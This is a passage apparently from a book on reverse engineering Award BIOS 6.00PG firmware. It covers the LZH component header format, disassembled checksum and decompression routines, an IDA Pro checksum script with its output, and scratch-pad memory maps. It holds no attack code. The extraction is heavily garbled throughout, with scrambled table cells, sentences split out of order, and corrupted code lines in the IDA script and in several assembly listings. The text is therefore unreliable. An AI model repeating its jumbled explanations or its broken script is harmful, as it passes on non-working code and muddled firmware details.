Award BIOS uses a modified version of the 
nges where these BIOS components w

in this forma

The c
vel-1 

om
mat. 

pressed components. 

Start fset ing Of
from First Byte 

(from Preheader) 

S  tarting
Offset in 

LZH Basic 
Header 

Size in 
Bytes Contents 

00h N/A 

1 for 
preh er, ead

N/A for 
LZH basic 

he r 

ds on the file/component name. The 

ade

The header length of the component. It 
depen
formula is header_length = filename_length + 
25. 

01h N/A 

1 for 
preheader, 

N/A for 
LZH basic 

header 

The header 8-bit checksum, not including the 
first 2 bytes (header length and header 
checksum byte). 

02h 00h 5 

LZH method ID (ASCII string signature). In 
Award BIOS, it's "-lh5-," which means: 8-KB 
sliding dictionary (max 256 bytes) + static 
Huffman + improved encoding of position and 
trees. 

07h 05h 4 o 
Compressed file or component size in little 
endian dword value, i.e., MSB8 at 0Ah, and s
forth. 

0Bh 09h 4 
Uncompressed file or component size in little 
endian dword value, i.e., MSB at 0Eh, and so 
forth. 

0Fh 0Dh 2 

Destination offset address in little endian word 

 this 
 is in 

value, i.e., MSB at 10h, and so forth. The 
component will be decompressed into
offset address (real-mode addressing
effect here). 

11h 0Fh 2 e, i.e., MSB at 12h he 
Destination segment address in little endian 
word valu , and so forth. T

                                                 
 
8 MSB stands for most significant bit. 
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component will be decompressed into this 
segment address (real-mode addressing is in
effect here). 

 

13h 11h 
File attribute. The Award BIOS components 
contain 20h here, which is normally found in an 
LZH level-1 compressed file. 

1 

14h 12h 1 
nents contain 

01h here, which means it's an LZH level-1 
compressed file. 

Level. The Award BIOS compo

15h 13h 1 Component file-name name-length in bytes. 

16h 14h Filename_
length Component file-name (ASCII string). 

16h + 
fil aen me_length 

14h + 
filename_
length so forth. 

2 
File or component CRC-16 in little endian word 
value, i.e., MSB at [HeaderSize - 2h], and 

18h + 
filename_length 

16h + 
filename_
length 

1 
Operating system ID. In the Award BIOS, it's 
always 20h (ASCII space character), which 
doesn't resemble any LZH OS ID known to me. 

19h + 
filename_length 

17h + 
filename_ 2 Next header size. In Award BIOS, it's always 

0000h, which means no extension header. length 

Table 5.2 LZH level-1 header format used in Award BIOSs 

c 
header is used within the "scratch-pad RAM" (which will be explained later). 

ere is the Read_Header procedure, which contains the routine to 
e content of this header. One key procedure call there is a call 

 the BIOS component header into a 
0:0000h (ds:0000h). This scratch-pad 

er values, which doesn't include the first 2 

um that is checked before and during 
nly one checksum checked before decompression of 

ion 6.00PG (i.e., the 8-bit checksum of the overall 

                                                

 
 Some notes regarding the preceding table: 
 

• The offset in the leftmost column and the addressing used in the contents column 
are calculated from the first byte of the component. The offset in the LZH basi

• Each component is terminated with an EOF byte, i.e., a 00h byte. 
• In Award BIOS th

nd verify thread a
into Calc_LZH_hdr_CRC16, which reads

 300"scratch-pad" RAM area beginning at
c headarea is filled with the LZH basi

9bytes.  
 
 Now, proceed to the location of the checks

's othe decompression process. There
system BIOS in Award BIOS vers

 
 
9 The first 2 bytes of the compressed components are the preheader, i.e., header size and header 8-bit 
checksum 
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compressed components and the decompression block, or components other than the boot 
s_System_BIOS procedure as shown in listing 5.11. 

broutine inside Decompress_System_BIOS Procedure 

block). It's checked in the Decompres
 

Listing 5.11 Checksum Verification Su

2000:FC85 ; in: none 
2000:FC85 ; 
2000:FC85 ; out: ax = 5000h if succeeded 
2000:FC85 ;      ax = 1000h if failed 
2000:FC85 ; Attributes: noreturn 
2000:FC85 
2000:FC85 Decompress_System_BIOS proc far ; ... 
......... 
2000:FCED   call  search_BBSS 
2000:FCF0   mov   si, [si] 
2000:FCF2   and   si, 0FFF0h 
2000:FCF5   push  si 
2000:FCF6   mov   bx, [si+0Ah] 
2000:FCF9   and   bx, 0FFF0h 
2000:FCFC   pop   ax 
2000:FCFD   add   ax, bx 
2000:FCFF   and   ax, 0F000h 
2000:FD02   add   ax, 0FFEh 
2000:FD05   push  ax 
2000:FD06   call  enter_voodoo 
2000:FD09   pop   ax 
2000:FD0A   mov   esi, 300000h 
2000:FD10   mov   ecx, 60000h 
2000:FD16   add   ecx, esi 
2000:FD19 
2000:FD19 next_higher_byte:      ; ... 
2000:FD19   mov   ebx, [esi] 
2000:FD1D   and   ebx, 0FFFFFFh 
2000:FD24   cmp   ebx, 'hl-'     ; Find the compressed system BIOS (the 
2000:FD24                        ; first compressed component) 
2000:FD2B   jz    short lh_sign_found 
2000:FD2D   inc   esi 
2000:FD2F   jmp   short next_higher_byte 
2000:FD31 ; ------------------------------------------------------------- 
2000:FD31 
2000:FD31 lh_sign_found:         ; ... 
2000:FD31   sub   esi, 2         ; Point to the beginning of the 
2000:FD31                        ; compressed component 
2000:FD35   add   cx, ax 
2000:FD37   sub   ecx, esi 
2000:FD3A   xor   ah, ah 
2000:FD3C 
2000:FD3C next_byte:             ; ... 
2000:FD3C   lods  byte ptr [esi] 
2000:FD3E   add   ah, al         ; Calculate the 8-bit checksum of all 
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2000:FD3E                        ; compressed components 
2000:FD40   loopd next_byte 
2000:FD43   mov   al, [esi] 
2000:FD46   push  ax 
2000:FD47   call  exit_voodoo 
2000:FD4A   pop   ax 
2000:FD4B   cmp   ah, al 
2000:FD4D   jnz   chk_sum_error 
......... 
2000:FDB3   clc 
2000:FDB4   retn 
2000:FDB4 Decompress_System_BIOS endp 

Decompress_System_BIOS procedure. 
s. The checksum checking in listing 5.11 

g 5.12. 

DA Pro Script 

 
The chk_sum_error is a label outside the  

It's jumped into if the checksum calculation fail
 be simulated by using the IDA Pro script in listincan

 

Listing 5.12 Award BIOS Checksum Checking with I

#include <idc.idc> 
 
static main() 
{ 
auto ea, si, esi, ebx, ds_base, ax, bx, ecx, calculated_sum, 
hardcoded_sum ; 
 
/* Search for BBSS signature */ 
ds_base = 0xE0000; 
ea = ds_base + 0xFFF0; 
 
Message("Using ds_base 0x%X\n", ds_base); 
 
for( ; ea > ds_base ; ea = ea - 0x10 ) 
{ 
 
if( (Dword(ea) == 'SBB*')  && (Word(ea+4) == '*S') ) 
{ 
 Message("*BBSS* found at 0x%X\n", ea); 
 si = (ea & 0xFFFF) + 6; 
 break; 
} 
 
} 
 
Message("on-exit, si = 0x%X\n", si ); 
Message("[si] = 0x%X\n", Word(ds_base + si) ); 
Message("[si+0xA] = 0x%X\n", Word(ds_base + si + 0xA) ); 
 
/* Calculate ax */ 
si = Word(ds_base + si); 
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si = si & 0xFFF0; 
bx = 0xFFF0 & Word(ds_base + si + 0xA); 
ax = si + bx; 
ax = ax & 0xF000; 
ax = ax + 0xFFE; 
 
Message("ax = 0x%X\n", ax ); 
 
/* Find -lh5- signature */ 
for(esi = 0x300000; esi < 0x360000 ; esi = esi + 1 ) 
{ 
 
       if( (Dword(esi) & 0xFFFFFF ) == 'hl-' ) 
       { 
        Message("-lh found at 0x%X\n", esi); 
        break; 
       } 
} 
 
/* Calculate the binary size (minus boot block, only compressed parts) */ 
ecx = 0x360000; 
esi = esi - 2; /* Point to starting addr of compressed component */ 
ecx = ecx + ax; 
ecx = ecx - esi; 
 
Message("compressed-components total size 0x%X\n", ecx); 
 
/* Calculate checksum - 
 note: esi and ecx value inherited from above */ 
calculated_sum = 0; 
while(ecx > 0) 
{ 
 lated_sum = (calculated_sum + Byte(esi)) & 0xFF;  calcu
 
  esi = esi + 1; 
  ecx = ecx - 1; 
} 
hardcoded_sum = Byte(esi); 
Message("hardcoded-sum placed at 0x%X\n", esi); 
 
Message("calculated-sum 0x%X\n", calculated_sum); 
Message("hardcoded-sum 0x%X\n", hardcoded_sum); 
 
if( hardcoded_sum == calculated_sum) 
{ 
   Message("compressed component cheksum match!\n"); 
} 
 
r 0; eturn 
} 
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 The execution result of the script in listing 5.12 in the current BIOS is as follows: 
 
E ng function 'main'... xecuti
Using ds_base 0xE0000 
*BBSS* found at 0xEB530 
on-exit, si = 0xB536 
[si] = 0x600E 
[si+0xA] = 0xB09E 
ax = 0xBFFE 
-lh found at 0x300002 
compressed-components total size 0x6BFFE 
hardcoded-sum placed at 0x36BFFE 
calculated-sum 0x6B 
hardcoded-sum 0x6B 
compressed component cheksum match! 
 

em BIOS  It must be noted that the syst in Award BIOS version 6.00PG is always 
00h–
, it's 

) boundary. 
s decompression 

ode of the LHA 
minor changes. Start with the Decompress 

em_BIOS procedure at address 2000:FD5Bh. 

the first compressed component found in the copy of the BIOS binary at the 30_00
AM if you scan from the beginning. Moreover37_FFFFh address range in system R

located in the binary in the 64-KB (10000h
 Now, proceed to the key parts of the decompression routines. Thi

on of the original C source croutine is an assembly language versi
decompressor by Haruhiko Okumura, with 

ess_Systprocedure called from the Decompr
 

Listing 5.13 Disassembly of the Decompress Procedure 

2000:FC2C ; in : ebx = src_phy_addr 
2000:FC2C ; 
2000:FC2C ; out: ecx = overall compressed-component size 
2000:FC2C ;      CF=1 if error   ; CF=0 if success 
2000:FC2C 
2000:FC2C Decompress proc far    ; ... 
2000:FC2C   call  enter_voodoo 
2000:FC2F   push  large dword ptr es:[ebx+0Fh] ; Save dest seg-ofset 
2000:FC35   call  exit_voodoo 
2000:FC38   push  2000h 
2000:FC3B   call  near ptr flush_cache 
2000:FC3E   pop   ecx            ; ecx = dest seg-offset 
2000:FC40   cmp   ecx, 40000000h 
2000:FC47   jnz   short _decompress 
2000:FC49   mov   si, 0 
2000:FC4C   mov   ds, si 
2000:FC4E   assume ds:HdrData 
2000:FC4E   mov   dword ptr unk_0_6004, ebx 
2000:FC53   movzx ecx, byte ptr es:[ebx]       ; ecx = LZH hdr length 
2000:FC59   add   ecx, es:[ebx+7]; ecx = compressed_size + 
2000:FC59                        ;       LZH_hdr_length 
2000:FC5F   add   ecx, 3         ; ecx = compressed_size + LZH_hdr_length 
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2000:FC5F                        ; + sizeof(LZH_pre-header) + sizeof(EOF) 
2000:FC63   retn 
2000:FC64 
2000:FC64 _decompress:           ; ... 
2000:FC64   mov   dx, 3000h 
2000:FC67   push  ax 
20 68   push  es 00:FC
2000:FC69   call  search_BBSS 
2000:FC6C   pop   es 
2000:FC6D   push  es 
2000:FC6E   mov   eax, ebx 
2000:FC71   shr   eax, 10h 
2000:FC75   mov   es, ax 
2000:FC77   push  cs 
2000:FC78   push  offset exit 
2000:FC7B   push  1000h          ; E_seg copy in RAM 
2000:FC7E   push  word ptr [si+0Eh] 
2000:FC81   retf                 ; 1000:B0F4h - decompression engine 
2000:FC82 
2000:FC82 exit:                  ; ... 
2000:FC82   pop   es 
2000:FC83   pop   ax 
2000:FC84   retn 
2000:FC84 Decompress endp 
 

pr The decompress ocedure in listing 5.13 is more like a stub that calls the real 
e. The start address of the decompression engine is located 14 

he disassembly of this decompression engine is provided in 
LHA decompression routin
bytes after the *BBSS* string. T
listing 5.14. 
 

Listing 5.14 Disassembly of the Decompression Engine 

1000:B0F4 ; in:   es = source hi_word phy address 
1000:B0F4 ;       bx = source lo_word phy address 
1000:B0F4 ;       dx = scratch-pad segment address 
1000:B0F4 ; 
1000:B0F4 ; out : ecx = overall_compressed_component_length 
1000:B0F4 ;       edx = original_file_size 
1000:B0F4 ;       CF  = 1 if failed 
1000:B0F4 ;       CF  = 0 if success 
1000:B0F4 
1000:B0F4 Decompression_Ngine proc far 
1000:B0F4   push  eax 
1000:B0F6   push  bx 
1000:B0F7   push  es 
1000:B0F8   mov   ds, dx 
1000:B0FA   push  ds 
1000:B0FB   pop   es             ; es = ds; used for zero-init below 
1000:B0FC   xor   di, di 
1000:B0FE   mov   cx, 4000h 
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1000:B101   xor   ax, ax         ; zero-init 
1000:B103   rep stosw            ; init 32-KB scratch-pad 
1000:B105   pop   es 
1000:B106   push  es 
1000:B107   mov   src_hi_word, es 
1000:B10B   mov   src_lo_word, bx 
1000:B10F   xor   ecx, ecx 
1000:B112   mov   selector_0_lo_dword, ecx ; Construct GDT 
1000:B117   mov   selector_0_hi_dword, ecx 
1000:B11C   lea   cx, selector_0_lo_dword 
1000:B120   ror   ecx, 4 
1000:B124   mov   ax, ds 
1000:B126   add   cx, ax 
1000:B128   rol   ecx, 4 
1000:B12C   mov   GDT_limit, 20h ; ' ' ; GDT limit 
1000:B132   mov   GDT_phy_addr, ecx 
1000:B137   mov   sel_1_lo_dword, 0FFFFh 
1000:B140   mov   ax, es 
1000:B142   movzx ecx, ah 
1000:B146   ror   ecx, 8 
1000:B14A   mov   cl, al 
1000:B14C   or    ecx, 8F9300h 
1000:B153   mov   sel_1_hi_dword, ecx 
1000:B158   mov   sel_2_lo_dword, 0FFFFh 
1000:B161   mov   sel_2_hi_dword, 8F9300h 
1000:B16A   mov   sel_3_lo_dword, 0FFFFh 
1000:B173   mov   sel_3_hi_dword, 8F9300h 
1000:B17C   call  Make_CRC16_Table 
1000:B17F   call  Fetch_LZH_Hdr_Info   ; Set carry for invalid LZH header 
1000:B182   jb    exit 
1000:B186   push  gs 
1000:B188   mov   di, 0 
1000:B18B   mov   gs, di 
1000:B18D   assume gs:HdrData 
1000:B18D   mov   di, 6000h 
1000:B190   add   bx, 12h        ; Dest segment hi-byte 
1000:B193   call  get_src_byte 
1000:B196   sub   bx, 12h 
1000:B199   cmp   al, 40h  ; '@' ; Is extension component 
1000:B19B   jnz   short not_extension_component 
1000:B19D   add   bx, 11h        ; Dest segment lo-byte 
1000:B1A0   call  get_src_byte 
1000:B1A3   sub   bx, 11h 
1000:B1A6   or    al, al         ; Is dest seg = 4000h? 
1000:B1A8   jz    short not_extension_component 
1000:B1AA   movzx dx, al 
1000:B1AD   add   bx, 1          ; LZH hdr chksum 
1000:B1B0   call  get_src_byte 
1000:B1B3   dec   bx 
1000:B1B4   sub   al, dl         ; LZH_hdr_chksum = orig_LZH_hdr_chk_sum 
1000:B1B4                        ; - dest_seg_lo_byte 
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1000:B1B6   add   bx, 1 
1000:B1B9   call  patch_byte 
1000:B1BC   dec   bx 
1000:B1BD   xor   al, al 
1000:B1BF   add   bx, 11h 
1000:B1C2   call  patch_byte     ; Patch dest seg lo-byte to 00h 
1000:B1C2                        ; (dest seg = 4000h) 
1000:B1C5   sub   bx, 11h 
1000:B1C8   inc   dx             ; dest_seg_lo_byte = dest_seg_lo_byte+1 
1000:B1C9   shl   dx, 2          ; (dest_seg_lo_byte + 1)*4 
1000:B1CC   add   di, dx         ; di = ((dest_seg_lo_byte+1)*4) + 6000h 
1000:B1CE   mov   gs:[di], bx    ; [((dest_seg_lo_byte + 1) * 4) + 6000h] 
1000:B1CE                        ; = src_offset 
1000:B1D1   mov   cx, es 
1000:B1D3   mov   gs:[di+2], cx  ; [((dest_seg_lo_byte + 1) * 4) + 6000h 
1000:B1D3                        ; + 2] = src_segment 
1000:B1D7   clc 
1000:B1D8   call  get_src_byte 
1000:B1DB   movzx ecx, al        ; ecx = LZH_hdr_len 
1000:B1DF   add   bx, 7          ; eax = compressed_component_size 
1000:B1E2   call  get_dword 
1000:B1E5   sub   bx, 7 
1000:B1E8   add   ecx, eax       ; ecx = compressed_cmpnnt_size + 
1000:B1E8                        ; LZH_hdr_len 
1000:B1EB   add   ecx, 3         ; ecx = compressed_cmpnnt_size + 
1000:B1EB                        ; LZH_hdr_len + sizeof(EOF_byte) + 
1000:B1EB                        ; sizeof(LZH_hdr_len_byte) + 
1000:B1EB                        ; sizeof(LZH_hdr_8bit_chk_sum) 
1000:B1EF   pop   gs 
1000:B1F1   assume gs:nothing 
1000:B1F1   jmp   exit 
1000:B1F4 
1000:B1F4 not_extension_component: ; ... 
1000:B1F4   pop   gs 
1000:B1F6   mov   ax, dest_segmnt 
1000:B1F9   mov   _dest_segmnt, ax 
1000:B1FC   mov   ax, dest_offset 
1000:B1FF   mov   _dest_offset, ax 
1000:B202   and   ah, 0F0h 
1000:B205   cmp   ah, 0F0h ; '=' 
1000:B208   jnz   short dest_offset_is_low 
1000:B20A   mov   ax, dest_offset 
1000:B20D   mov   _dest_segmnt, ax 
1000:B210   xor   ax, ax 
1000:B212   mov   _dest_offset, ax 
1000:B215 
1000:B215 dest_offset_is_low:    ; ... 
1000:B215   mov   ecx, cmpressed_size 
1000:B21A   xor   eax, eax 
1000:B21D   mov   al, lzh_hdr_len 
1000:B220   add   ecx, eax       ; Compressed_cmpnnt_size + LZH_hdr_len 
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1000:B223   add   ecx, 3         ; ecx = compressed_cmpnnt_size + 
1000:B223                        ; LZH_hdr_len + sizeof(EOF_byte) + 
1000:B223                        ; sizeof(LZH_hdr_len_byte) + 
1000:B223                        ; sizeof(LZH_hdr_8bit_chk_sum) 
1000:B227   mov   edx, orig_size 
1000:B22C   push  edx 
1000:B22E   push  ecx 
1000:B230   mov   bx, src_lo_word 
1000:B234   push  bx 
1000:B235   add   bx, 5 
1000:B238   call  get_src_byte 
1000:B23B   pop   bx 
1000:B23C   push  ax 
1000:B23D   movzx ax, lzh_hdr_len 
1000:B242   add   ax, 2 
1000:B245   add   src_lo_word, ax ; src_lo_word points to "pure 
1000:B245                         ; compressd" component 
1000:B249   pop   ax 
1000:B24A   jnb   short not_next_seg 
1000:B24C   inc   src_hi_word 
1000:B250   inc   byte ptr sel_1_hi_dword 
1000:B254 
1000:B254 not_next_seg:          ; ... 
1000:B254   cmp   al, '0'        ; is -lh0- (stored, not compressed)? 
1000:B256   jnz   short lzh_decompress 
1000:B258   call  copy_component 
1000:B25B   jmp   short exit_ok 
1000:B25D 
1000:B25D lzh_decompress:        ; ... 
1000:B25D   push  _dest_segmnt 
1000:B261   push  _dest_offset 
1000:B265   push  large [orig_size] 
1000:B26A   call  LZH_Expand 
1000:B26D   pop   orig_size 
1000:B272   pop   _dest_offset 
1000:B276   pop   _dest_segmnt 
1000:B27A 
1000:B27A exit_ok:               ; ... 
1000:B27A   pop   ecx 
1000:B27C   pop   edx 
1000:B27E   clc 
1000:B27F 
1000:B27F exit:                  ; ... 
1000:B27F   pop   es 
1000:B280   pop   bx 
1000:B281   pop   eax 
1000:B283   retf 
1000:B283 Decompression_Ngine endp 
......... 
1000:B2AC The base address for DS is 3_0000h 
1000:B2AC in: ds = scratch_pad_segment for CRC table 
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1000:B2AC out: ds:10Ch - ds:11Bh = CRC-16 table 
1000:B2AC 
1000:B2AC Make_CRC16_Table proc near ; ... 
1000:B2AC   pusha 
1000:B2AD   mov   si, 10Ch 
1000:B2B0   mov   cx, 100h 
1000:B2B3 
1000:B2B3 next_CRC_byte:         ; ... 
1000:B2B3   mov   ax, 100h 
1000:B2B6   sub   ax, cx 
1000:B2B8   push  ax 
1000:B2B9   mov   bx, 0 
1000:B2BC 
1000:B2BC next_bit:              ; ... 
1000:B2BC   test  ax, 1 
1000:B2BF   jz    short current_bit_is_0 
1000:B2C1   shr   ax, 1 
1000:B2C3   xor   ax, 0A001h 
1000:B2C6   jmp   short current_bit_is_1 
1000:B2C8 
1000:B2C8 current_bit_is_0:      ; ... 
1000:B2C8   shr   ax, 1 
1000:B2CA 
1000:B2CA current_bit_is_1:      ; ... 
1000:B2CA   inc   bx 
1000:B2CB   cmp   bx, 8 
1000:B2CE   jb    short next_bit 
1000:B2D0   pop   bx 
1000:B2D1   mov   [bx+si], ax 
1000:B2D3   inc   si 
1000:B2D4   loop  next_CRC_byte 
1000:B2D6   popa 
1000:B2D7   retn 
1000:B2D7 Make_CRC16_Table endp 
......... 
1000:B37D Fetch_LZH_Hdr_Info proc near ; ... 
1000:B37D   pusha 
1000:B37E   push  es 
1000:B37F   mov   bx, src_lo_word 
1000:B383   clc 
1000:B384   call  get_src_byte 
1000:B387   mov   lzh_hdr_len, al 
1000:B38A   pop   es 
1000:B38B   cmp   lzh_hdr_len, 0 
1000:B390   jnz   short lzh_hdr_ok 
1000:B392 
1000:B392 set_carry:             ; ... 
1000:B392   stc 
1000:B393   jmp   exit 
1000:B396 
1000:B396 lzh_hdr_ok:            ; ... 
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1000:B396   push  es 
1000:B397   add   bx, 1 
1000:B39A   call  get_src_byte 
1000:B39D   mov   lzh_hdr_chksum, al 
1000:B3A0   pop   es 
1000:B3A1   call  Read_Basic_LZH_Hdr 
1000:B3A4   call  Calc_LZH_Hdr_8bit_sum 
1000:B3A7   cmp   al, lzh_hdr_chksum 
1000:B3AB   jz    short lzh_hdr_chksum_ok 
1000:B3AD   jmp   short set_carry 
1000:B3AF 
1000:B3AF lzh_hdr_chksum_ok:     ; ... 
1000:B3AF   mov   bx, 5 
1000:B3B2   mov   cx, 4 
1000:B3B5   call  Get_LZH_Hdr_Bytes 
1000:B3B8   mov   cmpressed_size, eax 
1000:B3BC   mov   bx, 9 
1000:B3BF   mov   cx, 4 
1000:B3C2   call  Get_LZH_Hdr_Bytes 
1000:B3C5   mov   orig_size, eax 
1000:B3C9   mov   bx, 0Dh 
1000:B3CC   mov   cx, 2 
1000:B3CF   call  Get_LZH_Hdr_Bytes 
1000:B3D2   mov   dest_offset, ax 
1000:B3D5   mov   bx, 0Fh 
1000:B3D8   mov   cx, 2 
1000:B3DB   call  Get_LZH_Hdr_Bytes 
1000:B3DE   mov   dest_segmnt, ax 
1000:B3E1   cmp   LZH_levl_sign_0, 20h ; ' ' 
1000:B3E6   jnz   short set_carry 
1000:B3E8   cmp   LZH_levl_sign_1, 1   ; Is LZH level 1? 
1000:B3ED   jnz   short set_carry 
1000:B3EF   movzx bx, lzh_hdr_len 
1000:B3F4   sub   bx, 5 
1000:B3F7   mov   cx, 2 
1000:B3FA   call  Get_LZH_Hdr_Bytes 
1000:B3FD   mov   LZH_hdr_crc16_val, ax 
1000:B400   mov   bx, 13h 
1000:B403   mov   bl, [bx+0] 
1000:B407   mov   ax, 14h 
1000:B40A   add   bx, ax 
1000:B40C   mov   byte ptr [bx+0], 24h ; '$' 
1000:B411   mov   byte ptr [bx+1], 0 
1000:B416   clc 
1000:B417 
1000:B417 exit:                  ; ... 
1000:B417   popa 
1000:B418   retn 
1000:B418 Fetch_LZH_Hdr_Info endp 
......... 
1000:B2D8 Read_Basic_LZH_Hdr proc near ; ... 
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1000:B2D8   pusha 
1000:B2D9   movzx cx, lzh_hdr_len 
1000:B2DE   push  es 
1000:B2DF   push  si 
1000:B2E0   mov   si, 0 
1000:B2E3   mov   ax, 2 
1000:B2E6 
1000:B2E6 next_hdr_byte:         ; ... 
1000:B2E6   mov   bx, src_lo_word 
1000:B2EA   add   bx, ax 
1000:B2EC   push  ax 
1000:B2ED   call  get_src_byte 
1000:B2F0   mov   [si], al 
1000:B2F2   pop   ax 
1000:B2F3   inc   ax 
1000:B2F4   inc   si 
1000:B2F5   loop  next_hdr_byte 
1000:B2F7   sub   ax, 2 
1000:B2FA   pop   si 
1000:B2FB   pop   es 
1000:B2FC   mov   lzh_hdr_len, al 
1000:B2FF   mov   cx, ax 
1000:B301   add   word ptr orig_size, ax 
1000:B305   inc   cx 
1000:B306   mov   bx, 0 
1000:B309 
1000:B309 next_byte:             ; ... 
1000:B309   movzx ax, byte ptr [bx] 
1000:B30C   dec   cx 
1000:B30D   jcxz  short exit 
1000:B30F   call  patch_crc16    ; Patch the new crc16 value 
1000:B312   inc   bx 
1000:B313   jmp   short next_byte 
1000:B315 
1000:B315 exit:                  ; ... 
1000:B315   popa 
1000:B316   retn 
1000:B316 Read_Basic_LZH_Hdr endp 
......... 
1000:B337 Calc_LZH_Hdr_8bit_sum proc near ; ... 
1000:B337   push  bx 
1000:B338   push  cx 
1000:B339   push  dx 
1000:B33A   mov   ax, 0 
1000:B33D   movzx cx, lzh_hdr_len 
1000:B342 
1000:B342 next_hdr_byte:         ; ... 
1000:B342   movzx bx, lzh_hdr_len 
1000:B347   sub   bx, cx 
1000:B349   movzx dx, byte ptr [bx+0] 
1000:B34E   add   ax, dx 
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1000:B350   loop  next_hdr_byte 
1000:B352   pop   dx 
1000:B353   pop   cx 
1000:B354   pop   bx 
1000:B355   and   ax, 0FFh 
1000:B358   retn 
1000:B358 Calc_LZH_Hdr_8bit_sum endp 
......... 
1000:B359 ; in: cx = byte_count 
1000:B359 ;     bx = byte index 
1000:B359 ; out: eax = bytes read 
1000:B359 
1000:B359 Get_LZH_Hdr_Bytes proc near     ; ... 
1000:B359   push  bx 
1000:B35A   push  edx 
1000:B35C   push  si 
1000:B35D   xor   eax, eax 
1000:B360   dec   bx 
1000:B361   inc   cx 
1000:B362 
1000:B362 next_byte?:            ; ... 
1000:B362   dec   cx 
1000:B363   jcxz  short exit 
1000:B365   shl   eax, 8 
1000:B369   mov   si, bx 
1000:B36B   add   si, cx 
1000:B36D   movzx edx, byte ptr [si+0] 
1000:B373   add   eax, edx 
1000:B376   jmp   short next_byte? 
1000:B378 
1000:B378 exit:                  ; ... 
1000:B378   pop   si 
1000:B379   pop   edx 
1000:B37B   pop   bx 
1000:B37C   retn 
1000:B37C Get_LZH_Hdr_Bytes endp 
......... 
2000:E561   call  near ptr Decompress_System_BIOS 
2000:E564 ; ------------------------------------------------------------- 
2000:E564   jmp   short System_BIOS_dcmprssion_OK 
2000:E566 ; ------------------------------------------------------------- 
2000:E566 chk_sum_error:         ; ... 
2000:E566   push  2000h 
2000:E569   pop   ds 
2000:E56A   assume ds:_20000h 
2000:E56A   mov   dword_2000_FFF4, '/11=' 
2000:E573   mov   dword_2000_FFF8, '9/11' 
2000:E57C   mov   dword_2000_FFFC, 0CFFC0039h 
2000:E585   mov   ax, 1000h 
2 88 000:E5
2000:E588 System_BIOS_dcmprssion_OK:      ; ... 
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2000:E588   mov   ds, ax 
2000:E58A   assume ds:_10000h 
2000:E58A   push  ax 
2  +' 000:E58B   mov   al, 0C5h       ; '
2   al  ; Manufacture oint 000:E58D   out   80h,        r's diagnostic checkp
2   copy_decompression_result 000:E58F   call
2000  ax:E592   pop   
2000:E593   cmp   ax, 5000h 
2000 z  :E596   j   short dcomprssion_ok 
2000 mp :E598   j   far ptr loc_F000_F7F7 
2000:E59D ; -------- --------------------------------------------- --------
2000:E59D 
200 pr :        ; .0:E59D dcom ssion_ok .. 
2000:E59D   mov   al, 0 
2000:E59F   call  enable_cache 
2000:E5A2   jmp   far ptr loc_F000_F80D; Jump to decompressed System BIOS 

ruct the memory map 
f th I

 

 
After looking at these exhaustive lists of disassembly, const 

o e B OS components just after the system BIOS decompressed (table 5.3). 

Starting Address 
of IOS  B

Component in 
RAM (Physical 

Address) 

Size Decompression 
Status Component Description 

5_0000h 128 
KB 

Deco
RAM
addr

m o 
 b
ess in col mn 

one. 

This is the syst  the main BIOS 
code. Sometimes it is called original.tmp. 

pressed t
eginning at 

u
em BIOS, i.e.,

30_0000h 512 Not decompressed 
KB yet . 

This is the copy of the overall BIOS binary, 
i.e., the image of the BIOS binary in RAM

Table 5. inary m

 
 Some n rding the cedi
 

1. Part of the ncy check 
(C  process. 

2. The decompression routine is using segment 3000h as a scratch-pad area in RAM 

3 BIOS b apping in memory after system BIOS decompression 

otes rega pre ng decompression routine: 

decompression code calculates the 16-bit cyclic redunda
RC-16) value of the compressed component during the decompression

for the decompression process. This scratch-pad area spans from 3_0000h to 
3_8000h, and it's 32 KB in size. It's initialized to zero before the decompression 
starts. The memory map of this scratch-pad area is as shown in table 5.4. 

Starting Index in 
the scratchpad 

Segment 
Size (in 
Bytes) Description 

... ... ... 
371Ch 2000h Buffer. This area stores the "sliding window," i.e., 
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(8 KB) the temporary result of the decompression 
process before being copied to the destination 
address. 

571Ch 1 LHA header length. 
571Dh 1 LHA header sum (8-bit sum). 

... ... ... 
Table 5.4 Memory map of scratch-pad used by the decompression engine 

 
3. In t

segm
com ts are not decompressed yet. However, their original header 
information was stored at 0000:6000h–0000:6xxxh in RAM. Among this 
information were the starting addresses10 of the compressed component. 

d to 4000h by the 
Decompression_Ngine procedure in the BIOS binary image at 30_0000h–

 needed. 
4. The 40xxh in the header  behaves as an ID that works as follows: 

•  (hi-byte) is an identifier that marks it as an "Extension BIOS" to be 

• xx is an identifier that will be used in system BIOS execution to refer to the 

decompressed. This will be explained more thoroughly in the system BIOS 
explanation later. 

 

 Engineering 

previous section: I'll just highlight the places 
here the "code execution path" is obscure. By now, you're looking at the disassembly of 

erboard. 

his stage, only the system BIOS that is decompressed. It is decompressed to 
ent 5000h and later will be relocated to segment E000h–F000h. Other 

pressed componen

Subsequently, their destination segments were patche

37_FFFFh. This can be done because not all of those components will be 
decompressed at once. They will be decompressed one by one during system 
BIOS execution and relocated from segment 4000h as

11

40
decompressed later during original.tmp execution. 

component's starting address within the image of the BIOS binary12 to be 

 
5.1.3. Award System BIOS Reverse
 

I'll proceed as in the boot block in the  
w
the decompressed system BIOS of the Foxconn moth
 
 
5.1.3.1. Entry Point from the "Boot Block in RAM" 
 
 This is where the boot block jumps after relocating and write-protecting the system 
BIOS. 

                                                 
 
10 The starting address is in the form of a physical address. 
11 The 40xxh value is the destination segment of the LHA header of the compressed component. 
12 This image of the BIOS binary is already copied to RAM at 30_0000h–37_FFFFh. 
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Listing 5.15 System BIOS Entry Point 

F000:F80D org_tmp_entry:         ; ... 
F000:F80D   jmp   start_sys_bios 
 
 
5.1.3.2. POST Jump Table Execution 

p table in Award BIOS version 6.00PG is a bit 
. In the older version, two different POST jump 

ward BIOS version 6.00PG the execution 
f the “main” POST jump table execution. 

OST jump 
procedures in listing 5.16 accomplish nothing. They 

 carry flag and then return. Remember 
 POST procedures in the same 

, you know that at this point only the system BIOS has 
re compressed component in the BIOS binary. And you 

ed at segment 1000h in RAM. However, I will 
 relocated elsewhere and segment 1000h 

 
 The execution of the POST jum
different from Award version 4.50PGNM
tables were executed one after the other, and in A

mbedded" as part oof the smaller jump table is "e
This can be seen in the disassembled code in listing 5.16. The entries in the P
table that are commented as dummy 
just return when they are called or merely clear the

le are addresses of thethat the contents of the jump tab
segment as the jump table. 

n From the boot block sectio
been decompressed, out of the enti
know that the decompression block is locat
show later that this decompression engine will be
will be used by awardext.rom. 
 

Listing 5.16 POST Jump Table Execution 

F000:EE0F start_sys_bios:        ; ... 
F000:EE0F   mov   ax, 0 
F000:EE12   mov   ss, ax         ; Setup stack at segment 0000h 
